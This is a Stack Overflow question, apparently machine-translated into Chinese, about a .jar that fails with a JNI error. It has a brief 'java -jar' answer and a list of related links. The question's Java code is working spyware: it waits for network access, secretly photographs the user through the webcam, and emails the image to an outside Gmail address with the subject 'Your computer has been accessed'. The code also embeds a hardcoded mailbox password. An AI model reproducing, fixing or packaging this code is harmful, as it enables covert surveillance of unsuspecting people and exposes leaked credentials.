java - 无法运行 .jar 文件

标签 java jar

我正在尝试使用以下代码创建一个 jar 文件:

public class Main {

    public static void main(String[] args) {

        boolean net = true;
        int num = 0;

        do {
            if (netIsAvailable()) {
                webCapture();
                mailSend();
                net = false;
            }

        } while (net);

        System.exit(0);

    }

    public static void webCapture() {
        // get default webcam and open it
        Webcam webcam = Webcam.getDefault();

        webcam.setViewSize(new Dimension(640, 480));

        // creates test2.jpg
        WebcamUtils.capture(webcam, "test2", "jpg");
    }

    private static boolean netIsAvailable() {
        try {
            final URL url = new URL("http://www.google.com");
            final URLConnection conn = url.openConnection();
            conn.connect();
            return true;
        } catch (MalformedURLException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            return false;
        }
    }

    public static void mailSend() {
        final String username = "javaMailTest002@gmail.com";
        final String password = "anaaremere";

        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", "smtp.gmail.com");
        props.put("mail.smtp.port", "587");

        Session session = Session.getInstance(props,
                new javax.mail.Authenticator() {
                    protected PasswordAuthentication getPasswordAuthentication() {
                        return new PasswordAuthentication(username, password);
                    }
                });

        try {

            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress(username));
            message.setRecipients(Message.RecipientType.TO,
                    InternetAddress.parse("alindradici@gmail.com"));
            message.setSubject("Your computer has been accessed");
            message.setText("Congratulation!");

            MimeBodyPart messageBodyPart = new MimeBodyPart();

            Multipart multipart = new MimeMultipart();

            messageBodyPart = new MimeBodyPart();
            String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg";
            String fileName = "attachmentName";
            DataSource source = new FileDataSource(file);
            messageBodyPart.setDataHandler(new DataHandler(source));
            messageBodyPart.setFileName(fileName);
            multipart.addBodyPart(messageBodyPart);

            message.setContent(multipart);

            Transport.send(message);

            System.out.println("done, email sent ok");

        } catch (Exception e) {
            System.out.println("Email sending problems");
            e.printStackTrace();


        }
    }

}

工作正常,编译和运行没有问题,但是当我这样做时: 文件 |项目结构|工件单击加号图标并创建新工件,选择 --> jar --> 来自具有依赖项的模块。

构建|构建工件 当我尝试运行新创建的 jar 文件时,出现错误:发生 jni 错误,请检查您的安装并重试。知道如何解决这个问题吗?

最佳答案

你正在做什么来运行这个 jar ?

从命令行:java -jar name_of_your_created.jar

关于java - 无法运行 .jar 文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/37756460/

相关文章:

Java 替换字符串开头和结尾的所有 $ 符号

Java VNC 小程序

java - Hibernate 在 @OneToOne 中创建条目但未设置 FK

java - 如何在java中提取.war文件? ZIP 与 JAR

java - 如何将图像放入.jar 文件中?

java - 共享界面

java - cvc-complex-type.2.4.c : The matching wildcard is strict, 但找不到元素 'bean' 的声明 - Spring 配置问题

java - 消息队列性能低下

java - Maven 初学者问题 - 虽然项目设置有些复杂

java - 将用户数据保存在 jar 文件本身中